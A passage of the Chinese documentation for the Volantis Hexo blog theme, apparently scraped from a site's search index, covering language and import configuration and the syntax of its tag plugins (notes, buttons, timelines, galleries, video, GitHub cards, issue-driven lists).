href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon.ico"> 多语言设置blog/_config.ymllanguage: - zh-CN - en - zh-HK - zh-TW 对应的翻译文件路径: themes/volantis/languages/ 使用 Import 导入外部文件Volantis 用户可以在不修改主题文件的情况下向 head 和 body 中添加各种标签。meta 和 link 对应 head 中的 <meta> 和 <link> 标签。script 可以在 body 末尾导入 js 代码。 blog/_config.ymlimport: meta: - <meta name="msapplication-TileColor" content="#ffffff"> - <meta name="msapplication-config" content="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/browserconfig.xml"> - <meta name="theme-color" content="#ffffff"> link: - <link rel="apple-touch-icon" sizes="180x180" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/apple-touch-icon.png"> - <link rel="icon" type="image/png" sizes="32x32" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon-32x32.png"> - <link rel="icon" type="image/png" sizes="16x16" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon-16x16.png"> - <link rel="manifest" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/site.webmanifest"> - <link rel="mask-icon" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/safari-pinned-tab.svg" color="#5bbad5"> - <link rel="shortcut icon" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon.ico"> script: - <script></script> 更多Hexo 官方文档 #配置https://hexo.io/zh-cn/docs/configuration"},{"title":"标签插件","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/tag-plugins/index.html","permalink":"https://blog.aoian.cn/v4/tag-plugins/","excerpt":"","text":"为了兼容老用户,旧的标签插件在重构之前依然沿用旧的格式,即「英文逗号+空格」作为参数分隔符,而部分新增标签插件是「空格+英文竖线+空格」,请注意区分。 我们也在探索哪种分隔符既简单又不容易引起冲突,所以可能存在多种格式,具体以对应文档描述为准。 text这是一些文本样式标签: 带 下划线 的文本 example.md:带 {% u 下划线 %} 的文本 带 着重号 的文本 example.md:带 {% emp 着重号 %} 的文本 带 波浪线 的文本 example.md:带 {% wavy 波浪线 %} 的文本 带 删除线 的文本 example.md:带 {% del 删除线 %} 的文本 键盘样式的文本 command + D example.md:键盘样式的文本 {% kbd command %} + {% kbd D %} 密码样式的文本:这里没有验证码 example.md:密码样式的文本:{% psw 这里没有验证码 %} span本插件最后更新于 2.5 版本{% span 样式参数, 文本内容 %} 彩色文字在一段话中方便插入各种颜色的标签,包括:红色、黄色、绿色、青色、蓝色、灰色。 超大号文字文档「开始」页面中的标题部分就是超大号文字。 Volantis A Wonderful Theme for Hexo 上述示例的源码example:#### 彩色文字在一段话中方便插入各种颜色的标签,包括:{% span red, 红色 %}、{% span yellow, 黄色 %}、{% span green, 绿色 %}、{% span cyan, 青色 %}、{% span blue, 蓝色 %}、{% span gray, 灰色 %}。#### 超大号文字文档「开始」页面中的标题部分就是超大号文字。{% span center logo large, Volantis %}{% span center small, A Wonderful Theme for Hexo %} 可以支持的参数样式参数位置可以写颜色、大小和对齐方向,多个样式参数用空格隔开。 字体logo, code 颜色red, yellow, green, cyan, blue, gray 大小small, h4, h3, h2, h1, large, huge, ultra 对齐方向left, center, right p本插件最后更新于 2.5 版本{% p 样式参数, 文本内容 %} 演示效果彩色文字在一段话中方便插入各种颜色的标签,包括:红色、黄色、绿色、青色、蓝色、灰色。 超大号文字文档「开始」页面中的标题部分就是超大号文字。 Volantis A Wonderful Theme for Hexo 上述示例的源码example:#### 彩色文字在一段话中方便插入各种颜色的标签,包括:{% p red, 红色 %}、{% p yellow, 黄色 %}、{% p green, 绿色 %}、{% p cyan, 青色 %}、{% p blue, 蓝色 %}、{% p gray, 灰色 %}。#### 超大号文字文档「开始」页面中的标题部分就是超大号文字。{% p center logo large, Volantis %}{% p center small, A Wonderful Theme for Hexo %} 可以支持的参数样式参数位置可以写颜色、大小和对齐方向,多个样式参数用空格隔开。 字体logo, code 颜色red, yellow, green, cyan, blue, gray 大小small, h4, h3, h2, h1, large, huge, ultra 对齐方向left, center, right noteNoteBlock 是 Blockquote 的增强版,在左边显示图标,并且可以自定颜色。而 Note 是 NoteBlock 的简便写法。 最后更新于 2.3 版本{% note 样式参数, 文本内容 %} 演示效果经典用法可以在配置文件中设置默认样式,为简单的一句话提供最的简便写法。 note quote 适合引用一段话 note info 默认主题色,适合中性的信息 note warning 默认黄色,适合警告性的信息 note error/danger 默认红色,适合危险性的信息 note done/success 默认绿色,适合正确操作的信息 更多图标这些都是默认样式,可以手动加上颜色: note radiation 默认样式 note radiation yellow 可以加上颜色 note bug red 说明还存在的一些故障 note link green 可以放置一些链接 note paperclip blue 放置一些附件链接 note todo 待办事项 note guide clear 可以加上一段向导 note download 可以放置下载链接 note message gray 一段消息 note up 可以说明如何进行更新 note undo light 可以说明如何撤销或者回退 上述示例的源码example:#### 经典用法{% note, 可以在配置文件中设置默认样式,为简单的一句话提供最的简便写法。 %}{% note quote, note quote 适合引用一段话 %}{% note info, note info 默认主题色,适合中性的信息 %}{% note warning, note warning 默认黄色,适合警告性的信息 %}{% note danger, note error/danger 默认红色,适合危险性的信息 %}{% note success, note done/success 默认绿色,适合正确操作的信息 %}#### 更多图标这些都是默认样式,可以手动加上颜色:{% note radiation, note radiation 默认样式 %}{% note radiation yellow, note radiation yellow 可以加上颜色 %}{% note bug red, note bug red 说明还存在的一些故障 %}{% note link green, note link green 可以放置一些链接 %}{% note paperclip blue, note paperclip blue 放置一些附件链接 %}{% note todo, note todo 待办事项 %}{% note guide clear, note guide clear 可以加上一段向导 %}{% note download, note download 可以放置下载链接 %}{% note message gray, note message gray 一段消息 %}{% note up, note up 可以说明如何进行更新 %}{% note undo light, note undo light 可以说明如何撤销或者回退 %} 可以支持的参数样式参数位置可以写图标和颜色,多个样式参数用空格隔开。 图标彩色的quote, info, warning, done/success, error/danger 灰色的,也可以指定颜色radiation, bug, idea, link, paperclip, todo, message, guide, download, up, undo 颜色指定颜色clear, light, gray, red, yellow, green, cyan, blue noteblockNoteBlock 是 Blockquote 的增强版,在左边显示图标,并且可以自定颜色。而 Note 是 NoteBlock 的简便写法。 最后更新于 4.0 版本{% noteblock 样式参数(可选), 标题(可选) %}文本段落{% endnoteblock %} 演示效果可以在区块中放置一些复杂的结构,支持嵌套。 标题(可选)Windows 10不是為所有人設計,而是為每個人設計嵌套测试: 请坐和放宽,我正在帮你搞定一切… Folding 测试: 点击查看更多 不要说我们没有警告过你我们都有不顺利的时候 上述示例的源码example:{% noteblock, 标题(可选) %}Windows 10不是為所有人設計,而是為每個人設計{% noteblock done %}嵌套测试: 请坐和放宽,我正在帮你搞定一切...{% endnoteblock %}{% folding yellow, Folding 测试: 点击查看更多 %}{% note warning, 不要说我们没有警告过你 %}{% noteblock bug red %}我们都有不顺利的时候{% endnoteblock %}{% endfolding %}{% endnoteblock %} 可以支持的参数样式参数位置可以写图标和颜色,多个样式参数用空格隔开。 图标彩色的quote, info, warning, done/success, error/danger 灰色的,也可以指定颜色radiation, bug, idea, link, paperclip, todo, message, guide, download, up, undo 颜色指定颜色clear, light, gray, red, yellow, green, cyan, blue checkbox最后更新于 2.6 版本{% checkbox 样式参数(可选), 文本(支持简单md) %} 演示效果 纯文本测试 支持简单的 markdown 语法 支持自定义颜色 绿色 + 默认选中 黄色 + 默认选中 青色 + 默认选中 蓝色 + 默认选中 增加 减少 叉 上述示例的源码example:{% checkbox 纯文本测试 %}{% checkbox checked, 支持简单的 [markdown](https://guides.github.com/features/mastering-markdown/) 语法 %}{% checkbox red, 支持自定义颜色 %}{% checkbox green checked, 绿色 + 默认选中 %}{% checkbox yellow checked, 黄色 + 默认选中 %}{% checkbox cyan checked, 青色 + 默认选中 %}{% checkbox blue checked, 蓝色 + 默认选中 %}{% checkbox plus green checked, 增加 %}{% checkbox minus yellow checked, 减少 %}{% checkbox times red checked, 叉 %} 可以支持的参数颜色red, yellow, green, cyan, blue 样式plus, minus, times 选中状态checked radio最后更新于 2.6 版本{% checkbox 样式参数(可选), 文本(支持简单md) %} 演示效果 纯文本测试 支持简单的 markdown 语法 支持自定义颜色 绿色 黄色 青色 蓝色 上述示例的源码example:{% radio 纯文本测试 %}{% radio checked, 支持简单的 [markdown](https://guides.github.com/features/mastering-markdown/) 语法 %}{% radio red, 支持自定义颜色 %}{% radio green, 绿色 %}{% radio yellow, 黄色 %}{% radio cyan, 青色 %}{% radio blue, 蓝色 %} 可以支持的参数颜色red, yellow, green, cyan, blue 选中状态checked timeline最后更新于 3.0 版本{% timeline 时间线标题(可选) %}{% timenode 时间节点(标题) %}正文内容{% endtimenode %}{% timenode 时间节点(标题) %}正文内容{% endtimenode %}{% endtimeline %} 演示效果 2020-07-24 2.6.6 -> 3.0 如果有 hexo-lazyload-image 插件,需要删除并重新安装最新版本,设置 lazyload.isSPA: true。2.x 版本的 css 和 js 不适用于 3.x 版本,如果使用了 use_cdn: true 则需要删除。2.x 版本的 fancybox 标签在 3.x 版本中被重命名为 gallery 。2.x 版本的置顶 top: true 改为了 pin: true,并且同样适用于 layout: page 的页面。如果使用了 hexo-offline 插件,建议卸载,3.0 版本默认开启了 pjax 服务。 2020-05-15 2.6.3 -> 2.6.6 不需要额外处理。 2020-04-20 2.6.2 -> 2.6.3 全局搜索 seotitle 并替换为 seo_title。group 组件的索引规则有变,使用 group 组件的文章内,group: group_name 对应的组件名必须是 group_name。group 组件的列表名优先显示文章的 short_title 其次是 title。 上述示例的源码example:{% timeline %}{% timenode 2020-07-24 [2.6.6 -> 3.0](https://github.com/volantis-x/hexo-theme-volantis/releases) %}1. 如果有 `hexo-lazyload-image` 插件,需要删除并重新安装最新版本,设置 `lazyload.isSPA: true`。2. 2.x 版本的 css 和 js 不适用于 3.x 版本,如果使用了 `use_cdn: true` 则需要删除。3. 2.x 版本的 fancybox 标签在 3.x 版本中被重命名为 gallery 。4. 2.x 版本的置顶 `top: true` 改为了 `pin: true`,并且同样适用于 `layout: page` 的页面。5. 如果使用了 `hexo-offline` 插件,建议卸载,3.0 版本默认开启了 pjax 服务。{% endtimenode %}{% timenode 2020-05-15 [2.6.3 -> 2.6.6](https://github.com/volantis-x/hexo-theme-volantis/releases/tag/2.6.6) %}不需要额外处理。{% endtimenode %}{% timenode 2020-04-20 [2.6.2 -> 2.6.3](https://github.com/volantis-x/hexo-theme-volantis/releases/tag/2.6.3) %}1. 全局搜索 `seotitle` 并替换为 `seo_title`。2. group 组件的索引规则有变,使用 group 组件的文章内,`group: group_name` 对应的组件名必须是 `group_name`。2. group 组件的列表名优先显示文章的 `short_title` 其次是 `title`。{% endtimenode %}{% endtimeline %} link最后更新于 3.0 版本{% link 标题, 链接, 图片链接(可选) %} 演示效果如何参与项目https://volantis.js.org/contributors/ 上述示例的源码example:{% link 如何参与项目, https://volantis.js.org/contributors/, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets@master/logo/256/safari.png %} button这个页面的标签将会在不久后重构 基础按钮请将您的 Volantis 升级至 2.4 版本以上使用。 语法格式参数列表示例写法示例效果{% btn 样式参数(可选), 标题, 链接, 图标(可选) %} 可选的参数可以省略,但是前后顺序不能乱。样式参数 regular, large, center 图标 第1个或者第2个参数包含 fa- 的那个被识别为图标。example.md:不设置任何参数的 {% btn 按钮, / %} 适合融入段落中。regular 按钮适合独立于段落之外:{% btn regular, 示例博客, https://xaoxuu.com, fas fa-play-circle %}large 按钮更具有强调作用,建议搭配 center 使用:{% btn center large, 开始使用, https://volantis.js.org/v3/getting-started/, fas fa-download %}行内按钮 不设置任何参数的 按钮 适合融入段落中。 空心按钮 示例博客 示例博客 示例博客 示例博客 居中: 开始使用 实心按钮 示例博客 示例博客 示例博客 示例博客 居中: 开始使用 富文本按钮请将您的 Volantis 升级至 2.3 版本以上使用。 语法格式参数列表示例写法示例效果{% btns 样式参数 %}{% cell 标题, 链接, 图片或者图标 %}{% cell 标题, 链接, 图片或者图标 %}{% endbtns %}样式参数位置可以写图片样式、布局方式,多个样式参数用空格隔开。 圆角样式 默认为方形 rounded, circle 布局方式 默认为自动宽度,适合视野内只有一两个的情况。 参数 含义 wide 宽一点的按钮 fill 填充布局,自动铺满至少一行,多了会换行。 center 居中,按钮之间是固定间距。 around 居中分散 grid2 等宽最多2列,屏幕变窄会适当减少列数。 grid3 等宽最多3列,屏幕变窄会适当减少列数。 grid4 等宽最多4列,屏幕变窄会适当减少列数。 grid5 等宽最多5列,屏幕变窄会适当减少列数。 增加文字样式 可以在容器内增加 <b>标题</b> 和 <p>描述文字</p>如果需要显示类似「团队成员」之类的一组含有头像的链接: example.md:{% btns circle grid5 %}{% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %}{% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %}{% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %}{% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %}{% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %}{% endbtns %} 或者含有图标的按钮: example.md:{% btns rounded grid5 %}{% cell 下载源码, /, fas fa-download %}{% cell 查看文档, /, fas fa-book-open %}{% endbtns %} 圆形图标 + 标题 + 描述 + 图片 + 网格5列 + 居中 example.md:{% btns circle center grid5 %}<a href='https://apps.apple.com/cn/app/heart-mate-pro-hrm-utility/id1463348922?ls=1'> <i class='fab fa-apple'></i> <b>心率管家</b> {% p red, 专业版 %} <img src='https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/qrcode/heartmate_pro.png'></a><a href='https://apps.apple.com/cn/app/heart-mate-lite-hrm-utility/id1475747930?ls=1'> <i class='fab fa-apple'></i> <b>心率管家</b> {% p green, 免费版 %} <img src='https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/qrcode/heartmate_lite.png'></a>{% endbtns %}如果需要显示类似「团队成员」之类的一组含有头像的链接: xaoxuu xaoxuu xaoxuu xaoxuu xaoxuu 或者含有图标的按钮: 下载源码 查看文档 圆形图标 + 标题 + 描述 + 图片 + 网格5列 + 居中 心率管家 专业版 心率管家 免费版 ghcard最后更新于 4.0 版本{% ghcard 用户名, 其它参数(可选) %}{% ghcard 用户名/仓库, 其它参数(可选) %} 用户信息卡片 上述示例的源码: example:| {% ghcard xaoxuu %} | {% ghcard xaoxuu, theme=vue %} || -- | -- || {% ghcard xaoxuu, theme=buefy %} | {% ghcard xaoxuu, theme=solarized-light %} || {% ghcard xaoxuu, theme=onedark %} | {% ghcard xaoxuu, theme=solarized-dark %} || {% ghcard xaoxuu, theme=algolia %} | {% ghcard xaoxuu, theme=calm %} | 仓库信息卡片 上述示例的源码: example:| {% ghcard volantis-x/hexo-theme-volantis %} | {% ghcard volantis-x/hexo-theme-volantis, theme=vue %} || -- | -- || {% ghcard volantis-x/hexo-theme-volantis, theme=buefy %} | {% ghcard volantis-x/hexo-theme-volantis, theme=solarized-light %} || {% ghcard volantis-x/hexo-theme-volantis, theme=onedark %} | {% ghcard volantis-x/hexo-theme-volantis, theme=solarized-dark %} || {% ghcard volantis-x/hexo-theme-volantis, theme=algolia %} | {% ghcard volantis-x/hexo-theme-volantis, theme=calm %} | 更多参数选择GitHub 卡片 API 参数https://github-readme-stats.vercel.app site最后更新于 4.0 版本{% sitegroup %}{% site 标题, url=链接, screenshot=截图链接, avatar=头像链接(可选), description=描述(可选) %}{% site 标题, url=链接, screenshot=截图链接, avatar=头像链接(可选), description=描述(可选) %}{% endsitegroup %} 演示效果xaoxuu简约风格 inkss这是一段关于这个网站的描述文字 MHuiG这是一段关于这个网站的描述文字 Colsrch这是一段关于这个网站的描述文字 Linhk1606这是一段关于这个网站的描述文字 上述示例的源码example:{% sitegroup %}{% site xaoxuu, url=https://xaoxuu.com, screenshot=https://i.loli.net/2020/08/21/VuSwWZ1xAeUHEBC.jpg, avatar=https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png, description=简约风格 %}{% site inkss, url=https://inkss.cn, screenshot=https://i.loli.net/2020/08/21/Vzbu3i8fXs6Nh5Y.jpg, avatar=https://cdn.jsdelivr.net/gh/inkss/common@master/static/web/avatar.jpg, description=这是一段关于这个网站的描述文字 %}{% site MHuiG, url=https://blog.mhuig.top, screenshot=https://i.loli.net/2020/08/22/d24zpPlhLYWX6D1.png, avatar=https://cdn.jsdelivr.net/gh/MHuiG/imgbed@master/data/p.png, description=这是一段关于这个网站的描述文字 %}{% site Colsrch, url=https://colsrch.top, screenshot=https://i.loli.net/2020/08/22/dFRWXm52OVu8qfK.png, avatar=https://cdn.jsdelivr.net/gh/Colsrch/images/Colsrch/avatar.jpg, description=这是一段关于这个网站的描述文字 %}{% site Linhk1606, url=https://linhk1606.github.io, screenshot=https://i.loli.net/2020/08/21/3PmGLCKicnfow1x.png, avatar=https://i.loli.net/2020/02/09/PN7I5RJfFtA93r2.png, description=这是一段关于这个网站的描述文字 %}{% endsitegroup %} dropmenu这个页面的标签将会在不久后重构 下拉菜单请将您的 Volantis 升级至 3.0 版本以上使用。 语法格式示例写法示例效果容器 {% menu 前缀(可省略), 标题, 后缀(可省略) %}菜单内容{% endmenu %} 菜单内容 菜单项 {% menuitem 文本, 链接, 图标 %} 分割线 {% menuitem hr %} 子菜单 {% submenu 嵌套菜单, 图标 %}菜单内容{% endsubmenu %}示例1 {% menu 下拉菜单 %}{% menuitem 主题源码, https://github.com/volantis-x/hexo-theme-volantis/, fas fa-file-code %}{% menuitem 更新日志, https://github.com/volantis-x/hexo-theme-volantis/releases/, fas fa-clipboard-list %}{% menuitem hr %}{% submenu 有疑问?, fas fa-question-circle %}{% menuitem 看 FAQ, /faqs/ %}{% menuitem 看 本站源码, https://github.com/volantis-x/volantis-docs/ %}{% menuitem 提 Issue, https://github.com/volantis-x/hexo-theme-volantis/issues/ %}{% endsubmenu %}{% endmenu %} 示例2 {% menu 这个是, 下拉菜单 %}(同上){% endmenu %} 示例3 {% menu 这个是, 下拉菜单, 的示例效果。 %}(同上){% endmenu %}示例1 下拉菜单 主题源码 更新日志 有疑问? 看 FAQ 看 本站源码 提 Issue 示例2 这个是 下拉菜单 主题源码 更新日志 有疑问? 看 FAQ 看 本站源码 提 Issue 示例3 这个是 下拉菜单 主题源码 更新日志 有疑问? 看 FAQ 看 本站源码 提 Issue 的示例效果。 tab此插件移植自 NexT #tabs 最后更新于 2.1 版本{% tabs 页面内不重复的ID %}<!-- tab 栏目1 -->内容<!-- endtab --><!-- tab 栏目2 -->内容<!-- endtab -->{% endtabs %} 演示效果栏目1栏目2。。。!!! 上述示例的源码example:{% tabs tab-id %}<!-- tab 栏目1 -->。。。<!-- endtab --><!-- tab 栏目2 -->!!!<!-- endtab -->{% endtabs %} folding最后更新于 2.3 版本{% folding 参数(可选), 标题 %}![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg){% endfolding %} 演示效果 查看图片测试 查看默认打开的折叠框 这是一个默认打开的折叠框。 查看代码测试 {% folding green, 查看代码测试 %}查看代码测试{% endfolding %} 查看列表测试 hahahehe 查看嵌套测试 查看嵌套测试2 查看嵌套测试3 hahaha 上述示例的源码example:{% folding 查看图片测试 %}![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg){% endfolding %}{% folding cyan open, 查看默认打开的折叠框 %}这是一个默认打开的折叠框。{% endfolding %}{% folding green, 查看代码测试 %}{% endfolding %}{% folding yellow, 查看列表测试 %}- haha- hehe{% endfolding %}{% folding red, 查看嵌套测试 %}{% folding blue, 查看嵌套测试2 %}{% folding 查看嵌套测试3 %}hahaha <span><img src='https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/tieba/%E6%BB%91%E7%A8%BD.png' style='height:24px'></span>{% endfolding %}{% endfolding %}{% endfolding %} 可以支持的参数参数位置可以填写颜色和状态,多个参数用空格隔开。 颜色blue, cyan, green, yellow, red 状态状态填写 open 代表默认打开。 inlineimageInlineimage 标签是一种行内图片标签,可以用来在一段话中间插入表情。 本插件最后更新于 4.0 版本{% inlineimage 图片链接, height=高度(可选) %} 演示效果这是 一段话。 这又是 一段话。 上述示例的源码example:这是 {% inlineimage https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/aru-l/0000.gif %} 一段话。这又是 {% inlineimage https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/aru-l/5150.gif, height=40px %} 一段话。 可以支持的参数高度height=20px imageImage 标签是一种针对单个图片应用场景的标签,支持图片描述文字和指定宽度。 本插件最后更新于 4.0 版本{% image 链接, width=宽度(可选), height=高度(可选), alt=描述(可选), bg=占位颜色(可选) %} 演示效果添加描述: 每天下课回宿舍的路,没有什么故事。 指定宽度: 指定宽度并添加描述: 每天下课回宿舍的路,没有什么故事。 设置占位背景色: 优化不同宽度浏览的观感 上述示例的源码example:添加描述:{% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, alt=每天下课回宿舍的路,没有什么故事。 %}指定宽度:{% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px %}指定宽度并添加描述:{% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px, alt=每天下课回宿舍的路,没有什么故事。 %}设置占位背景色:{% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px, bg=#1D0C04, alt=优化不同宽度浏览的观感 %} 可以支持的参数图片宽高度example:width=300px, height=32px 图片描述example:alt=图片描述 占位背景色example:bg=#f2f2f2 galleryGallery 标签是一种针对一组图片应用场景的标签。 本插件最后更新于 3.0 版本{% gallery 参数, 列数 %}![图片描述](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/B18FCBB3-67FD-48CC-B4F3-457BA145F17A.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/67239FBB-E15D-4F4F-8EE8-0F1C9F3C4E7C.jpeg){% endgallery %} 演示效果一行一个图片 一行多个图片(不换行) 多行多个图片(每行2~8个图片) 上述示例的源码一行一个图片 example.md:{% gallery %}![图片描述](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg){% endgallery %} 一行多个图片(不换行) example.md:{% gallery %}![图片描述](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/B18FCBB3-67FD-48CC-B4F3-457BA145F17A.jpeg)![图片描述](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/67239FBB-E15D-4F4F-8EE8-0F1C9F3C4E7C.jpeg)![图片描述](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/00E0F0ED-9F1C-407A-9AA6-545649D919F4.jpeg){% endgallery %} 多行多个图片(每行2~8个图片) example.md:{% gallery stretch, 4 %}![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/B951AE18-D431-417F-B3FE-A382403FF21B.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/AEB33F9D-7294-4CF1-B8C5-3020748A9D45.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/250662D4-5A21-4AAA-BB63-CD25CF97CFF1.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/10A0FCE5-36A1-4AD0-8CF0-019259A89E03.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/B951AE18-D431-417F-B3FE-A382403FF21B.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/AEB33F9D-7294-4CF1-B8C5-3020748A9D45.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/250662D4-5A21-4AAA-BB63-CD25CF97CFF1.jpeg)![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/landscape/10A0FCE5-36A1-4AD0-8CF0-019259A89E03.jpeg){% endgallery %} 可以支持的参数对齐方向left, center, right 缩放stretch 列数逗号后面直接写列数,支持 2 ~ 8 列。设定列列数之后就是「多行多图」布局,此时图片默认左对齐。为了避免图片大小不一,建议搭配 stretch 来时图片放大填充。 audio本插件最后更新于 2.4 版本{% audio 音频链接 %} 演示效果Your browser does not support the audio tag. 上述示例的源码example:{% audio https://github.com/volantis-x/volantis-docs/releases/download/assets/Lumia1020.mp3 %} video本插件最后更新于 2.3 版本{% video 视频链接 %} 演示效果100%宽度 Your browser does not support the video tag. 50%宽度 Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. 25%宽度 Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. 上述示例的源码100%宽度 example.md:{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} 50%宽度 example.md:{% videos, 2 %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% endvideos %} 25%宽度 example.md:{% videos, 4 %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %}{% endvideos %} 可以支持的参数对齐方向left, center, right 列数逗号后面直接写列数,支持 1 ~ 4 列。 frame这是一个能够将图片或者视频套入设备框架中的标签,可以用来更优雅地显示截图、录屏。 本插件最后更新于 4.0 版本{% frame 框架名 | img=图片链接 | alt=图片描述(可选) | part=top/bottom(可选) %}{% frame 框架名 | video=视频链接 | part=top/bottom(可选) %} {% frame iphone11 | img=https://gitee.com/xaoxuu/cdn-assets/raw/master/wiki/prohud/[email protected] | video=https://gitee.com/xaoxuu/cdn-assets/raw/master/wiki/prohud/[email protected] | part=top %} 在这个示例中同时出现了 img 和 video 那么它就是一个带有封面的视频,在视频加载完成之前会先显示视频封面。 设备框架目前支持的有: iphone11 如果您有以下其它设备框架图(svg),欢迎 PR 兼容。 android, ipad, macbook, watch 剪裁通过设置 part=top 或者 part=bottom 来显示上半部分或者下半部分,否则将显示完整的框架及其中的图片/视频。 aplayer主题对 APlayer 插件的样式进行了兼容。安装插件: npm i -S hexo-tag-aplayer 使用方法: hexo-tag-aplayerhttps://github.com/MoePlayer/hexo-tag-aplayer issues最后更新于 4.0 版本{% issues type | api=url | group=key:value1,value2(可选) %} 类型根据需求不同,会将 issues 内容解析成不同的 HTML 标签,目前支持的类型有: timeline: 解析成 timeline 标签,issue 的标题对应 timeline 的时间, issue 的内容对应 timeline 的内容。 sites: 解析成 sites 标签,需要有 JSON 代码块:{ "title": "", "screenshot": "", "url": "", "avatar": "", "description": "", "keywords": ""} API传可以调得通的 URL ,例如: api=https://gitee.com/api/v5/repos/xaoxuu/friends/issues?sort=updated&state=open&page=1&per_page=100&labels=activeapi=https://api.github.com/repos/xaoxuu/friends/issues?sort=updated&state=open&page=1&per_page=100&labels=active 分组sites 类型的 issues 默认不分组,如果需要分组,可指定分组依据「key」,和分组白名单「value1」「value2」等,例如: group=version:v4,v3,v2 这个参数的作用就是,筛选出 JSON 中包含 "version": "v4" 或者 "version": "v3" 或者 "version": "v2" 的数据,并分组显示。 示例时间线{% issues timeline | api=https://gitee.com/api/v5/repos/xaoxuu/timeline/issues?state=open&creator=xaoxuu&sort=created&direction=desc&page=1&per_page=100 %} 显示效果: 对应的仓库链接: Gitee: xaoxuu/timelinehttps://gitee.com/xaoxuu/timeline/issues 友链{% issues sites | api=https://gitee.com/api/v5/repos/xaoxuu/friends/issues?sort=updated&state=open&page=1&per_page=100&labels=active %}{% issues sites | api=https://api.github.com/repos/xaoxuu/friends/issues?sort=updated&state=open&page=1&per_page=100&labels=active %} 上例中的 labels=active 参数可以控制默认的 issue 不显示,只有自己审核通过添加了 active 标签之后才会显示。上述示例对应的仓库链接: GitHub: xaoxuu/friendshttps://github.com/xaoxuu/friends/issues 分组这是主题官网的「示例博客」页面的数据: {% issues sites | api=https://api.github.com/repos/volantis-x/examples/issues?sort=updated&state=open&page=1&per_page=100 | group=version:版本:^4.0,版本:^3.0,版本:^2.0 %} 上述示例对应的仓库链接: GitHub: volantis-x/exampleshttps://github.com/volantis-x/examples/issues Hexo 通用标签在文章中使用 <!-- more -->,那么 <!-- more --> 